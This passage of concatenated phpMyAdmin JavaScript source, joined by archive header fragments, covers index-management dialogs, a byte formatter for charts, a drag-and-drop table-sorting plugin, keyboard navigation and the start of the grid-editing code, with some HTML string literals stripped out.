          '); if (showDialogLocal) { // Show dialog if the request was successful if ($('#addIndex').length > 0) { $('#addIndex').remove(); } $div .append(data.message) .dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strAddIndex, width: 450, minHeight: 250, create: function () { $(this).on('keypress', function (e) { if (e.which === 13 || e.keyCode === 13 || window.event.keyCode === 13) { e.preventDefault(); buttonOptions[Messages.strGo](); $(this).remove(); } }); }, open: function () { Functions.checkIndexName('index_frm'); Functions.showHints($div); $('#index_columns').find('td').each(function () { $(this).css('width', $(this).width() + 'px'); }); $('#index_columns').find('tbody').sortable({ axis: 'y', containment: $('#index_columns').find('tbody'), tolerance: 'pointer' }); }, modal: true, buttons: buttonOptions, close: function () { $(this).remove(); } }); } else { $div .append(data.message); $div.css({ 'display' : 'none' }); $div.appendTo($('body')); $div.attr({ 'id' : 'addIndex' }); var isMissingValue = false; $('select[name="index[columns][names][]"]').each(function () { if ($(this).val() === '') { isMissingValue = true; } }); if (! isMissingValue) { Indexes.addColumnToIndex( sourceArray, arrayIndex, index.Index_choice, colIndex ); } else { Functions.ajaxShowMessage( '', false ); return false; } } } }); }; /** * Creates a advanced index type selection dialog. * * @param {any[]} sourceArray Array holding a particular type of indexes * @param {string} indexChoice Choice of index * @param {string} colIndex Index of new column on form * * @return {void} */ Indexes.indexTypeSelectionDialog = function (sourceArray, indexChoice, colIndex) { var $singleColumnRadio = $('' + ''); var $compositeIndexRadio = $('' + ''); var $dialogContent = $('
          '); $dialogContent.append('' + indexChoice.toUpperCase() + ''); // For UNIQUE/INDEX type, show choice for single-column and composite index. $dialogContent.append($singleColumnRadio); $dialogContent.append($compositeIndexRadio); var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary', }, }; // 'OK' operation. buttonOptions[Messages.strGo].click = function () { if ($('#single_column').is(':checked')) { var index = { 'Key_name': (indexChoice === 'primary' ? 'PRIMARY' : ''), 'Index_choice': indexChoice.toUpperCase() }; Indexes.showAddIndexDialog(sourceArray, (sourceArray.length), [colIndex], colIndex, index); } if ($('#composite_index').is(':checked')) { if ($('input[name="composite_with"]').length !== 0 && $('input[name="composite_with"]:checked').length === 0 ) { Functions.ajaxShowMessage( '', false ); return false; } var arrayIndex = $('input[name="composite_with"]:checked').val(); var sourceLength = sourceArray[arrayIndex].columns.length; var targetColumns = []; for (var i = 0; i < sourceLength; i++) { targetColumns.push(sourceArray[arrayIndex].columns[i].col_index); } targetColumns.push(colIndex); Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex, sourceArray[arrayIndex]); } $(this).remove(); }; buttonOptions[Messages.strCancel].click = function () { // Handle state on 'Cancel'. var $selectList = $('select[name="field_key[' + colIndex + ']"]'); if (! $selectList.attr('data-index').length) { $selectList.find('option[value*="none"]').attr('selected', 'selected'); } else { var previousIndex = $selectList.attr('data-index').split(','); $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]') .attr('selected', 'selected'); } $(this).remove(); }; $('
          ').append($dialogContent).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, minWidth: 525, minHeight: 200, modal: true, title: Messages.strAddIndex, resizable: false, buttons: buttonOptions, open: function () { $('#composite_index').on('change', function () { if ($(this).is(':checked')) { $dialogContent.append(Indexes.getCompositeIndexList(sourceArray, colIndex)); } }); $('#single_column').on('change', function () { if ($(this).is(':checked')) { if ($('#composite_index_list').length) { $('#composite_index_list').remove(); } } }); }, close: function () { $('#composite_index').off('change'); $('#single_column').off('change'); $(this).remove(); } }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('indexes.js', function () { $(document).off('click', '#save_index_frm'); $(document).off('click', '#preview_index_frm'); $(document).off('change', '#select_index_choice'); $(document).off('click', 'a.drop_primary_key_index_anchor.ajax'); $(document).off('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax'); $(document).off('click', '#table_index tbody tr td.rename_index.ajax'); $(document).off('click', '#index_frm input[type=submit]'); $('body').off('change', 'select[name*="field_key"]'); $(document).off('click', '.show_index_dialog'); }); /** * @description

          Ajax scripts for table index page

          * * Actions ajaxified here: *
            *
          • Showing/hiding inputs depending on the index type chosen
          • *
          • create/edit/drop indexes
          • *
          */ AJAX.registerOnload('indexes.js', function () { // Re-initialize variables. primaryIndexes = []; uniqueIndexes = []; indexes = []; fulltextIndexes = []; spatialIndexes = []; // for table creation form var $engineSelector = $('.create_table_form select[name=tbl_storage_engine]'); if ($engineSelector.length) { Functions.hideShowConnection($engineSelector); } var $form = $('#index_frm'); if ($form.length > 0) { Functions.showIndexEditDialog($form); } $(document).on('click', '#save_index_frm', function (event) { event.preventDefault(); var $form = $('#index_frm'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'do_save_data=1' + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(Messages.strProcessingRequest); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); }); $(document).on('click', '#preview_index_frm', function (event) { event.preventDefault(); Functions.previewSql($('#index_frm')); }); $(document).on('change', '#select_index_choice', function (event) { event.preventDefault(); Indexes.checkIndexType(); Functions.checkIndexName('index_frm'); }); /** * Ajax Event handler for 'Drop Index' */ $(document).on('click', 'a.drop_primary_key_index_anchor.ajax', function (event) { event.preventDefault(); var $anchor = $(this); /** * @var $currRow Object containing reference to the current field's row */ var $currRow = $anchor.parents('tr'); /** @var {number} rows Number of columns in the key */ var rows = $anchor.parents('td').attr('rowspan') || 1; /** @var {number} $rowsToHide Rows that should be hidden */ var $rowsToHide = $currRow; for (var i = 1, $lastRow = $currRow.next(); i < rows; i++, $lastRow = $lastRow.next()) { $rowsToHide = $rowsToHide.add($lastRow); } var question = $currRow.children('td') .children('.drop_primary_key_index_msg') .val(); Functions.confirmPreviewSql(question, $anchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strDroppingPrimaryKeyIndex, false); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); var $tableRef = $rowsToHide.closest('table'); if ($rowsToHide.length === $tableRef.find('tbody > tr').length) { // We are about to remove all rows from the table $tableRef.hide('medium', function () { $('div.no_indexes_defined').show('medium'); $rowsToHide.remove(); }); $tableRef.siblings('.alert-primary').hide('medium'); } else { // We are removing some of the rows only $rowsToHide.hide('medium', function () { $(this).remove(); }); } if ($('.result_query').length) { $('.result_query').remove(); } if (data.sql_query) { $('
          ') .html(data.sql_query) .prependTo('#structure_content'); Functions.highlightSql($('#page_content')); } Navigation.reload(); CommonActions.refreshMain('index.php?route=/table/structure'); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); }); // end Drop Primary Key/Index /** * Ajax event handler for index edit **/ $(document).on('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax', function (event) { event.preventDefault(); var url; var title; if ($(this).find('a').length === 0) { // Add index var valid = Functions.checkFormElementInRange( $(this).closest('form')[0], 'added_fields', 'Column count has to be larger than zero.' ); if (! valid) { return; } url = $(this).closest('form').serialize(); title = Messages.strAddIndex; } else { // Edit index url = $(this).find('a').getPostData(); title = Messages.strEditIndex; } url += CommonParams.get('arg_separator') + 'ajax_request=true'; Functions.indexEditorDialog(url, title, function (data) { CommonParams.set('db', data.params.db); CommonParams.set('table', data.params.table); CommonActions.refreshMain('index.php?route=/table/structure'); }); }); /** * Ajax event handler for index rename **/ $(document).on('click', '#table_index tbody tr td.rename_index.ajax', function (event) { event.preventDefault(); var url = $(this).find('a').getPostData(); var title = Messages.strRenameIndex; url += CommonParams.get('arg_separator') + 'ajax_request=true'; Functions.indexRenameDialog(url, title, function (data) { CommonParams.set('db', data.params.db); CommonParams.set('table', data.params.table); CommonActions.refreshMain('index.php?route=/table/structure'); }); }); /** * Ajax event handler for advanced index creation during table creation * and column addition. */ $('body').on('change', 'select[name*="field_key"]', function (e, showDialog) { var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true; // Index of column on Table edit and create page. var colIndex = /\d+/.exec($(this).attr('name')); colIndex = colIndex[0]; // Choice of selected index. var indexChoice = /[a-z]+/.exec($(this).val()); indexChoice = indexChoice[0]; // Array containing corresponding indexes. var sourceArray = null; if (indexChoice === 'none') { Indexes.removeColumnFromIndex(colIndex); var id = 'index_name_' + '0' + '_8'; var $name = $('#' + id); if ($name.length === 0) { $name = $(''); $name.insertAfter($('select[name="field_key[' + '0' + ']"]')); } $name.html(''); return false; } // Select a source array. sourceArray = Indexes.getIndexArray(indexChoice); if (sourceArray === null) { return; } if (sourceArray.length === 0) { var index = { 'Key_name': (indexChoice === 'primary' ? 'PRIMARY' : ''), 'Index_choice': indexChoice.toUpperCase() }; Indexes.showAddIndexDialog(sourceArray, 0, [colIndex], colIndex, index, showDialogLocal); } else { if (indexChoice === 'primary') { var arrayIndex = 0; var sourceLength = sourceArray[arrayIndex].columns.length; var targetColumns = []; for (var i = 0; i < sourceLength; i++) { targetColumns.push(sourceArray[arrayIndex].columns[i].col_index); } targetColumns.push(colIndex); Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex, sourceArray[arrayIndex], showDialogLocal); } else { // If there are multiple columns selected for an index, show advanced dialog. Indexes.indexTypeSelectionDialog(sourceArray, indexChoice, colIndex); } } }); $(document).on('click', '.show_index_dialog', function (e) { e.preventDefault(); // Get index details. var previousIndex = $(this).prev('select') .attr('data-index') .split(','); var indexChoice = previousIndex[0]; var arrayIndex = previousIndex[1]; var sourceArray = Indexes.getIndexArray(indexChoice); if (sourceArray !== null) { var sourceLength = sourceArray[arrayIndex].columns.length; var targetColumns = []; for (var i = 0; i < sourceLength; i++) { targetColumns.push(sourceArray[arrayIndex].columns[i].col_index); } Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, -1, sourceArray[arrayIndex]); } }); $('#index_frm').on('submit', function () { if (typeof(this.elements['index[Key_name]'].disabled) !== 'undefined') { this.elements['index[Key_name]'].disabled = false; } }); }); jqplot/plugins/jqplot.byteFormatter.js000066600000002413151724624350014250 0ustar00/** * jqplot formatter for byte values * * @package phpMyAdmin */ (function ($) { 'use strict'; var formatByte = function (value, index) { var val = value; var i = index; var units = [ Messages.strB, Messages.strKiB, Messages.strMiB, Messages.strGiB, Messages.strTiB, Messages.strPiB, Messages.strEiB ]; while (val >= 1024 && i <= 6) { val /= 1024; i++; } var format = '%.1f'; if (Math.floor(val) === val) { format = '%.0f'; } return $.jqplot.sprintf( format + ' ' + units[i], val ); }; /** * The index indicates what unit the incoming data will be in. * 0 for bytes, 1 for kilobytes and so on... * * @param index * * @return {String} */ $.jqplot.byteFormatter = function (index) { var i = index || 0; return function (format, value) { var val = value; if (typeof val === 'number') { val = parseFloat(val) || 0; return formatByte(val, i); } else { return String(val); } }; }; }(jQuery)); jquery.sortable-table.js000066600000026031151724624350011337 0ustar00/** * This file is internal to phpMyAdmin. * @license see the main phpMyAdmin license. * * @fileoverview A jquery plugin that allows drag&drop sorting in tables. * Coded because JQuery UI sortable doesn't support tables. Also it has no animation * * @name Sortable Table JQuery plugin * * @requires jQuery */ /** * Options: * * $('table').sortableTable({ * ignoreRect: { top, left, width, height } - Relative coordinates on each element. If the user clicks * in this area, it is not seen as a drag&drop request. Useful for toolbars etc. * events: { * start: callback function when the user starts dragging * drop: callback function after an element has been dropped * } * }) */ /** * Commands: * * $('table').sortableTable('init') - equivalent to $('table').sortableTable() * $('table').sortableTable('refresh') - if the table has been changed, refresh correctly assigns all events again * $('table').sortableTable('destroy') - removes all events from the table */ /** * Setup: * * Can be applied on any table, there is just one convention. * Each cell () has to contain one and only one element (preferably div or span) * which is the actually draggable element. */ (function ($) { jQuery.fn.sortableTable = function (method) { var methods = { init: function (options) { var tb = new SortableTableInstance(this, options); tb.init(); $(this).data('sortableTable', tb); }, refresh: function () { $(this).data('sortableTable').refresh(); }, destroy: function () { $(this).data('sortableTable').destroy(); } }; if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return methods.init.apply(this, arguments); } else { $.error('Method ' + method + ' does not exist on jQuery.sortableTable'); } function SortableTableInstance (table, options = {}) { var down = false; var $draggedEl; var oldCell; var previewMove; var id; /* Mouse handlers on the child elements */ var onMouseUp = function (e) { dropAt(e.pageX, e.pageY); }; var onMouseDown = function (e) { $draggedEl = $(this).children(); if ($draggedEl.length === 0) { return; } if (options.ignoreRect && insideRect({ x: e.pageX - $draggedEl.offset().left, y: e.pageY - $draggedEl.offset().top }, options.ignoreRect)) { return; } down = true; oldCell = this; if (options.events && options.events.start) { options.events.start(this); } return false; }; var globalMouseMove = function (e) { if (down) { move(e.pageX, e.pageY); if (inside($(oldCell), e.pageX, e.pageY)) { if (previewMove !== null) { moveTo(previewMove); previewMove = null; } } else { $(table).find('td').each(function () { if (inside($(this), e.pageX, e.pageY)) { if ($(previewMove).attr('class') !== $(this).children().first().attr('class')) { if (previewMove !== null) { moveTo(previewMove); } previewMove = $(this).children().first(); if (previewMove.length > 0) { moveTo($(previewMove), { pos: { top: $(oldCell).offset().top - $(previewMove).parent().offset().top, left: $(oldCell).offset().left - $(previewMove).parent().offset().left } }); } } return false; } }); } } return false; }; var globalMouseOut = function () { if (down) { down = false; if (previewMove) { moveTo(previewMove); } moveTo($draggedEl); previewMove = null; } }; // Initialize sortable table this.init = function () { id = 1; // Add some required css to each child element in the s $(table).find('td').children().each(function () { // Remove any old occurrences of our added draggable-num class $(this).attr('class', $(this).attr('class').replace(/\s*draggable-\d+/g, '')); $(this).addClass('draggable-' + (id++)); }); // Mouse events $(table).find('td').on('mouseup', onMouseUp); $(table).find('td').on('mousedown', onMouseDown); $(document).on('mousemove', globalMouseMove); $(document).on('mouseleave', globalMouseOut); }; // Call this when the table has been updated this.refresh = function () { this.destroy(); this.init(); }; this.destroy = function () { // Add some required css to each child element in the s $(table).find('td').children().each(function () { // Remove any old occurrences of our added draggable-num class $(this).attr('class', $(this).attr('class').replace(/\s*draggable-\d+/g, '')); }); // Mouse events $(table).find('td').off('mouseup', onMouseUp); $(table).find('td').off('mousedown', onMouseDown); $(document).off('mousemove', globalMouseMove); $(document).off('mouseleave', globalMouseOut); }; function switchElement (drag, dropTo) { var dragPosDiff = { left: $(drag).children().first().offset().left - $(dropTo).offset().left, top: $(drag).children().first().offset().top - $(dropTo).offset().top }; var dropPosDiff = null; if ($(dropTo).children().length > 0) { dropPosDiff = { left: $(dropTo).children().first().offset().left - $(drag).offset().left, top: $(dropTo).children().first().offset().top - $(drag).offset().top }; } /* I love you append(). It moves the DOM Elements so gracefully <3 */ // Put the element in the way to old place $(drag).append($(dropTo).children().first()).children() .stop(true, true) .on('mouseup', onMouseUp); if (dropPosDiff) { $(drag).append($(dropTo).children().first()).children() .css('left', dropPosDiff.left + 'px') .css('top', dropPosDiff.top + 'px'); } // Put our dragged element into the space we just freed up $(dropTo).append($(drag).children().first()).children() .on('mouseup', onMouseUp) .css('left', dragPosDiff.left + 'px') .css('top', dragPosDiff.top + 'px'); moveTo($(dropTo).children().first(), { duration: 100 }); moveTo($(drag).children().first(), { duration: 100 }); if (options.events && options.events.drop) { // Drop event. The drag child element is moved into the drop element // and vice versa. So the parameters are switched. // Calculate row and column index const colIdx = $(dropTo).prevAll().length; const rowIdx = $(dropTo).parent().prevAll().length; options.events.drop(drag, dropTo, { col: colIdx, row: rowIdx }); } } function move (x, y) { $draggedEl.offset({ top: Math.min($(document).height(), Math.max(0, y - $draggedEl.height() / 2)), left: Math.min($(document).width(), Math.max(0, x - $draggedEl.width() / 2)) }); } function inside ($el, x, y) { var off = $el.offset(); return y >= off.top && x >= off.left && x < off.left + $el.width() && y < off.top + $el.height(); } function insideRect (pos, r) { return pos.y > r.top && pos.x > r.left && pos.y < r.top + r.height && pos.x < r.left + r.width; } function dropAt (x, y) { if (!down) { return; } down = false; var switched = false; $(table).find('td').each(function () { if ($(this).children().first().attr('class') !== $(oldCell).children().first().attr('class') && inside($(this), x, y)) { switchElement(oldCell, this); switched = true; } }); if (!switched) { if (previewMove) { moveTo(previewMove); } moveTo($draggedEl); } previewMove = null; } function moveTo (elem, opts = {}) { if (!opts.pos) { opts.pos = { left: 0, top: 0 }; } if (!opts.duration) { opts.duration = 200; } $(elem).css('position', 'relative'); $(elem).animate({ top: opts.pos.top, left: opts.pos.left }, { duration: opts.duration, complete: function () { if (opts.pos.left === 0 && opts.pos.top === 0) { $(elem) .css('position', '') .css('left', '') .css('top', ''); } } }); } } }; }(jQuery)); keyhandler.js000066600000004343151724624350007251 0ustar00 // global var that holds: 0- if ctrl key is not pressed 1- if ctrl key is pressed var ctrlKeyHistory = 0; /** * Allows moving around inputs/select by Ctrl+arrows * * @param {object} event data */ function onKeyDownArrowsHandler (event) { var e = event || window.event; var o = (e.srcElement || e.target); if (!o) { return; } if (o.tagName !== 'TEXTAREA' && o.tagName !== 'INPUT' && o.tagName !== 'SELECT') { return; } if ((e.which !== 17) && (e.which !== 37) && (e.which !== 38) && (e.which !== 39) && (e.which !== 40)) { return; } if (!o.id) { return; } if (e.type === 'keyup') { if (e.which === 17) { ctrlKeyHistory = 0; } return; } else if (e.type === 'keydown') { if (e.which === 17) { ctrlKeyHistory = 1; } } if (ctrlKeyHistory !== 1) { return; } e.preventDefault(); var pos = o.id.split('_'); if (pos[0] !== 'field' || typeof pos[2] === 'undefined') { return; } var x = pos[2]; var y = pos[1]; switch (e.keyCode) { case 38: // up y--; break; case 40: // down y++; break; case 37: // left x--; break; case 39: // right x++; break; default: return; } var id = 'field_' + y + '_' + x; var nO = document.getElementById(id); if (! nO) { id = 'field_' + y + '_' + x + '_0'; nO = document.getElementById(id); } // skip non existent fields if (! nO) { return; } nO.focus(); if (nO.tagName !== 'SELECT') { nO.select(); } e.returnValue = false; } AJAX.registerTeardown('keyhandler.js', function () { $(document).off('keydown keyup', '#table_columns'); $(document).off('keydown keyup', 'table.insertRowTable'); }); AJAX.registerOnload('keyhandler.js', function () { $(document).on('keydown keyup', '#table_columns', function (event) { onKeyDownArrowsHandler(event.originalEvent); }); $(document).on('keydown keyup', 'table.insertRowTable', function (event) { onKeyDownArrowsHandler(event.originalEvent); }); }); makegrid.js000066600000303026151724624350006706 0ustar00/* global firstDayOfCalendar */ // templates/javascript/variables.twig /** * Create advanced table (resize, reorder, and show/hide columns; and also grid editing). * This function is designed mainly for table DOM generated from browsing a table in the database. * For using this function in other table DOM, you may need to: * - add "draggable" class in the table header , in order to make it resizable, sortable or hidable * - have at least one non-"draggable" header in the table DOM for placing column visibility drop-down arrow * - pass the value "false" for the parameter "enableGridEdit" * - adjust other parameter value, to select which features that will be enabled * * @param t the table DOM element * @param enableResize Optional, if false, column resizing feature will be disabled * @param enableReorder Optional, if false, column reordering feature will be disabled * @param enableVisib Optional, if false, show/hide column feature will be disabled * @param enableGridEdit Optional, if false, grid editing feature will be disabled */ // eslint-disable-next-line no-unused-vars var makeGrid = function (t, enableResize, enableReorder, enableVisib, enableGridEdit) { var isResizeEnabled = enableResize === undefined ? true : enableResize; var isReorderEnabled = enableReorder === undefined ? true : enableReorder; var isVisibEnabled = enableVisib === undefined ? true : enableVisib; var isGridEditEnabled = enableGridEdit === undefined ? true : enableGridEdit; var g = { /** ********* * Constant ***********/ minColWidth: 15, /** ********* * Variables, assigned with default value, changed later ***********/ actionSpan: 5, // number of colspan in Actions header in a table tableCreateTime: null, // table creation time, used for saving column order and visibility to server, only available in "Browse tab" // Column reordering variables colOrder: [], // array of column order // Column visibility variables colVisib: [], // array of column visibility showAllColText: '', // string, text for "show all" button under column visibility list visibleHeadersCount: 0, // number of visible data headers // Table hint variables reorderHint: '', // string, hint for column reordering sortHint: '', // string, hint for column sorting markHint: '', // string, hint for column marking copyHint: '', // string, hint for copy column name showReorderHint: false, showSortHint: false, showMarkHint: false, // Grid editing isCellEditActive: false, // true if current focus is in edit cell isEditCellTextEditable: false, // true if current edit cell is editable in the text input box (not textarea) currentEditCell: null, // reference to that currently being edited cellEditHint: '', // hint shown when doing grid edit gotoLinkText: '', // "Go to link" text wasEditedCellNull: false, // true if last value of the edited cell was NULL maxTruncatedLen: 0, // number of characters that can be displayed in a cell saveCellsAtOnce: false, // $cfg[saveCellsAtOnce] isCellEdited: false, // true if at least one cell has been edited saveCellWarning: '', // string, warning text when user want to leave a page with unsaved edited data lastXHR : null, // last XHR object used in AJAX request isSaving: false, // true when currently saving edited data, used to handle double posting caused by pressing ENTER in grid edit text box in Chrome browser alertNonUnique: '', // string, alert shown when saving edited nonunique table // Common hidden inputs token: null, server: null, db: null, table: null, /** ********** * Functions ************/ /** * Start to resize column. Called when clicking on column separator. * * @param e event * @param obj dragged div object */ dragStartRsz: function (e, obj) { var n = $(g.cRsz).find('div').index(obj); // get the index of separator (i.e., column index) $(obj).addClass('colborder_active'); g.colRsz = { x0: e.pageX, n: n, obj: obj, objLeft: $(obj).position().left, objWidth: $(g.t).find('th.draggable:visible').eq(n).find('span').outerWidth() }; // eslint-disable-next-line compat/compat $(document.body).css('cursor', 'col-resize').noSelect(); if (g.isCellEditActive) { g.hideEditCell(); } }, /** * Start to reorder column. Called when clicking on table header. * * @param e event * @param obj table header object */ dragStartReorder: function (e, obj) { // prepare the cCpy (column copy) and cPointer (column pointer) from the dragged column $(g.cCpy).text($(obj).text()); var objPos = $(obj).position(); $(g.cCpy).css({ top: objPos.top + 20, left: objPos.left, height: $(obj).height(), width: $(obj).width() }); $(g.cPointer).css({ top: objPos.top }); // get the column index, zero-based var n = g.getHeaderIdx(obj); g.colReorder = { x0: e.pageX, y0: e.pageY, n: n, newn: n, obj: obj, objTop: objPos.top, objLeft: objPos.left }; // eslint-disable-next-line compat/compat $(document.body).css('cursor', 'move').noSelect(); if (g.isCellEditActive) { g.hideEditCell(); } }, /** * Handle mousemove event when dragging. * * @param e event */ dragMove: function (e) { var dx; if (g.colRsz) { dx = e.pageX - g.colRsz.x0; if (g.colRsz.objWidth + dx > g.minColWidth) { $(g.colRsz.obj).css('left', g.colRsz.objLeft + dx + 'px'); } } else if (g.colReorder) { // dragged column animation dx = e.pageX - g.colReorder.x0; $(g.cCpy) .css('left', g.colReorder.objLeft + dx) .show(); // pointer animation var hoveredCol = g.getHoveredCol(e); if (hoveredCol) { var newn = g.getHeaderIdx(hoveredCol); g.colReorder.newn = newn; if (newn !== g.colReorder.n) { // show the column pointer in the right place var colPos = $(hoveredCol).position(); var newleft = newn < g.colReorder.n ? colPos.left : colPos.left + $(hoveredCol).outerWidth(); $(g.cPointer) .css({ left: newleft, visibility: 'visible' }); } else { // no movement to other column, hide the column pointer $(g.cPointer).css('visibility', 'hidden'); } } } }, /** * Stop the dragging action. * * @param e event */ dragEnd: function (e) { if (g.colRsz) { var dx = e.pageX - g.colRsz.x0; var nw = g.colRsz.objWidth + dx; if (nw < g.minColWidth) { nw = g.minColWidth; } var n = g.colRsz.n; // do the resizing g.resize(n, nw); g.reposRsz(); g.reposDrop(); g.colRsz = false; $(g.cRsz).find('div').removeClass('colborder_active'); } else if (g.colReorder) { // shift columns if (g.colReorder.newn !== g.colReorder.n) { g.shiftCol(g.colReorder.n, g.colReorder.newn); // assign new position var objPos = $(g.colReorder.obj).position(); g.colReorder.objTop = objPos.top; g.colReorder.objLeft = objPos.left; g.colReorder.n = g.colReorder.newn; // send request to server to remember the column order if (g.tableCreateTime) { g.sendColPrefs(); } g.refreshRestoreButton(); } // animate new column position $(g.cCpy).stop(true, true) .animate({ top: g.colReorder.objTop, left: g.colReorder.objLeft }, 'fast') .fadeOut(); $(g.cPointer).css('visibility', 'hidden'); g.colReorder = false; } // eslint-disable-next-line compat/compat $(document.body).css('cursor', 'inherit').noSelect(false); }, /** * Resize column n to new width "nw" * * @param n zero-based column index * @param nw new width of the column in pixel */ resize: function (n, nw) { $(g.t).find('tr').each(function () { $(this).find('th.draggable:visible').eq(n).find('span') .add($(this).find('td:visible').eq(g.actionSpan + n).find('span')) .css('width', nw); }); }, /** * Reposition column resize bars. */ reposRsz: function () { $(g.cRsz).find('div').hide(); var $firstRowCols = $(g.t).find('tr').first().find('th.draggable:visible'); var $resizeHandles = $(g.cRsz).find('div').removeClass('condition'); $(g.t).find('table.pma_table').find('thead th').first().removeClass('before-condition'); for (var n = 0, l = $firstRowCols.length; n < l; n++) { var $col = $($firstRowCols[n]); var colWidth; if (navigator.userAgent.toLowerCase().indexOf('safari') !== -1) { colWidth = $col.outerWidth(); } else { colWidth = $col.outerWidth(true); } $($resizeHandles[n]).css('left', $col.position().left + colWidth) .show(); if ($col.hasClass('condition')) { $($resizeHandles[n]).addClass('condition'); if (n > 0) { $($resizeHandles[n - 1]).addClass('condition'); } } } if ($($resizeHandles[0]).hasClass('condition')) { $(g.t).find('thead th').first().addClass('before-condition'); } $(g.cRsz).css('height', $(g.t).height()); }, /** * Shift column from index oldn to newn. * * @param oldn old zero-based column index * @param newn new zero-based column index */ shiftCol: function (oldn, newn) { $(g.t).find('tr').each(function () { if (newn < oldn) { $(this).find('th.draggable').eq(newn) .add($(this).find('td').eq(g.actionSpan + newn)) .before($(this).find('th.draggable').eq(oldn) .add($(this).find('td').eq(g.actionSpan + oldn))); } else { $(this).find('th.draggable').eq(newn) .add($(this).find('td').eq(g.actionSpan + newn)) .after($(this).find('th.draggable').eq(oldn) .add($(this).find('td').eq(g.actionSpan + oldn))); } }); // reposition the column resize bars g.reposRsz(); // adjust the column visibility list if (newn < oldn) { $(g.cList).find('.lDiv div').eq(newn) .before($(g.cList).find('.lDiv div').eq(oldn)); } else { $(g.cList).find('.lDiv div').eq(newn) .after($(g.cList).find('.lDiv div').eq(oldn)); } // adjust the colOrder var tmp = g.colOrder[oldn]; g.colOrder.splice(oldn, 1); g.colOrder.splice(newn, 0, tmp); // adjust the colVisib if (g.colVisib.length > 0) { tmp = g.colVisib[oldn]; g.colVisib.splice(oldn, 1); g.colVisib.splice(newn, 0, tmp); } }, /** * Find currently hovered table column's header (excluding actions column). * * @param e event * @return {object|undefined} the hovered column's th object or undefined if no hovered column found. */ getHoveredCol: function (e) { var hoveredCol; var $headers = $(g.t).find('th.draggable:visible'); $headers.each(function () { var left = $(this).offset().left; var right = left + $(this).outerWidth(); if (left <= e.pageX && e.pageX <= right) { hoveredCol = this; } }); return hoveredCol; }, /** * Get a zero-based index from a tag in a table. * * @param obj table header object * @return {number} zero-based index of the specified table header in the set of table headers (visible or not) */ getHeaderIdx: function (obj) { return $(obj).parents('tr').find('th.draggable').index(obj); }, /** * Reposition the columns back to normal order. */ restoreColOrder: function () { // use insertion sort, since we already have shiftCol function for (var i = 1; i < g.colOrder.length; i++) { var x = g.colOrder[i]; var j = i - 1; while (j >= 0 && x < g.colOrder[j]) { j--; } if (j !== i - 1) { g.shiftCol(i, j + 1); } } if (g.tableCreateTime) { // send request to server to remember the column order g.sendColPrefs(); } g.refreshRestoreButton(); }, /** * Send column preferences (column order and visibility) to the server. */ sendColPrefs: function () { if ($(g.t).is('.ajax')) { // only send preferences if ajax class if (typeof g.db !== 'string' && typeof g.table !== 'string') { // The server has nothing to do with it // Issue: https://github.com/phpmyadmin/phpmyadmin/issues/15658 return; } var postParams = { 'ajax_request': true, 'db': g.db, 'table': g.table, 'token': g.token, 'server': g.server, 'table_create_time': g.tableCreateTime }; if (g.colOrder.length > 0) { $.extend(postParams, { 'col_order': g.colOrder.toString() }); } if (g.colVisib.length > 0) { $.extend(postParams, { 'col_visib': g.colVisib.toString() }); } $.post('index.php?route=/sql/set-column-preferences', postParams, function (data) { if (data.success !== true) { var $tempDiv = $(document.createElement('div')); $tempDiv.html(data.error); $tempDiv.addClass('alert alert-danger'); Functions.ajaxShowMessage($tempDiv, false); } }); } }, /** * Refresh restore button state. * Make restore button disabled if the table is similar with initial state. */ refreshRestoreButton: function () { // check if table state is as initial state var isInitial = true; for (var i = 0; i < g.colOrder.length; i++) { if (g.colOrder[i] !== i) { isInitial = false; break; } } // check if only one visible column left var isOneColumn = g.visibleHeadersCount === 1; // enable or disable restore button if (isInitial || isOneColumn) { $(g.o).find('div.restore_column').hide(); } else { $(g.o).find('div.restore_column').show(); } }, /** * Update current hint using the boolean values (showReorderHint, showSortHint, etc.). * * @return {string} * */ updateHint: function () { var text = ''; if (!g.colRsz && !g.colReorder) { // if not resizing or dragging if (g.visibleHeadersCount > 1) { g.showReorderHint = true; } if ($(t).find('th.marker').length > 0) { g.showMarkHint = true; } if (g.showSortHint && g.sortHint) { text += text.length > 0 ? '
          ' : ''; text += '- ' + g.sortHint; } if (g.showMultiSortHint && g.strMultiSortHint) { text += text.length > 0 ? '
          ' : ''; text += '- ' + g.strMultiSortHint; } if (g.showMarkHint && g.markHint && ! g.showSortHint && // we do not show mark hint, when sort hint is shown g.showReorderHint && g.reorderHint ) { text += text.length > 0 ? '
          ' : ''; text += '- ' + g.reorderHint; text += text.length > 0 ? '
          ' : ''; text += '- ' + g.markHint; text += text.length > 0 ? '
